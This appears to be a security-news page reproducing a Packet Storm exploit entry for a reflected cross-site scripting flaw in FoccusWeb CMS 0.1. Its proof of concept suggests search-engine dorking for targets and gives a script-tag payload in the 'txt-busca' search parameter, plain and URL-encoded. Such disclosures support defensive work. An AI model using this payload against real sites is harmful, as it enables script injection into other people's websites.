Security
Headlines
HeadlinesLatestCVEs

Headline

FoccusWeb CMS 0.1 Cross Site Scripting

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

Packet Storm
#sql#xss#csrf#vulnerability#web#ios#mac#windows#apple#google#ubuntu#linux#debian#cisco#java#php#perl#auth#ruby#firefox

FoccusWeb CMS 0.1 Cross Site Scripting

Posted Aug 22, 2023

Authored by indoushka

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4ec7d01c602a400932502d010a16a7b1bacb2f323fbd9f44c16aef7baacd0231

Download | Favorite | View

FoccusWeb CMS 0.1 Cross Site Scripting

======================================================================================================================================| # Title     : FoccusWeb CMS v0.1 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                               | | # Vendor    : http://www.foccusweb.com/site/                                                                                       |  ======================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /resultados.html?txt-busca=1<script>alert(/indoushka/);</script>&yt0=submit[+] http://127.0.0.1/saogabrielrsgovbr/Portal/busca/resultados.html?txt-busca=1%3Cscript%3Ealert(/indoushka/);%3C/script%3E&yt0=submitGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

File Tags

  • ActiveX (932)
  • Advisory (81,996)
  • Arbitrary (16,211)
  • BBS (2,859)
  • Bypass (1,740)
  • CGI (1,026)
  • Code Execution (7,282)
  • Conference (679)
  • Cracker (841)
  • CSRF (3,347)
  • DoS (23,452)
  • Encryption (2,370)
  • Exploit (51,936)
  • File Inclusion (4,222)
  • File Upload (976)
  • Firewall (821)
  • Info Disclosure (2,782)
  • Intrusion Detection (892)
  • Java (3,045)
  • JavaScript (859)
  • Kernel (6,681)
  • Local (14,456)
  • Magazine (586)
  • Overflow (12,693)
  • Perl (1,423)
  • PHP (5,146)
  • Proof of Concept (2,338)
  • Protocol (3,602)
  • Python (1,535)
  • Remote (30,795)
  • Root (3,587)
  • Rootkit (508)
  • Ruby (612)
  • Scanner (1,640)
  • Security Tool (7,888)
  • Shell (3,185)
  • Shellcode (1,215)
  • Sniffer (894)
  • Spoof (2,207)
  • SQL Injection (16,380)
  • TCP (2,406)
  • Trojan (687)
  • UDP (893)
  • Virus (665)
  • Vulnerability (31,786)
  • Web (9,669)
  • Whitepaper (3,750)
  • x86 (962)
  • XSS (17,949)
  • Other

File Archives

  • August 2023
  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • Older

Systems

  • AIX (428)
  • Apple (2,002)
  • BSD (373)
  • CentOS (57)
  • Cisco (1,925)
  • Debian (6,819)
  • Fedora (1,692)
  • FreeBSD (1,244)
  • Gentoo (4,322)
  • HPUX (879)
  • iOS (351)
  • iPhone (108)
  • IRIX (220)
  • Juniper (67)
  • Linux (46,494)
  • Mac OS X (686)
  • Mandriva (3,105)
  • NetBSD (256)
  • OpenBSD (485)
  • RedHat (13,741)
  • Slackware (941)
  • Solaris (1,610)
  • SUSE (1,444)
  • Ubuntu (8,834)
  • UNIX (9,291)
  • UnixWare (186)
  • Windows (6,574)
  • Other

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution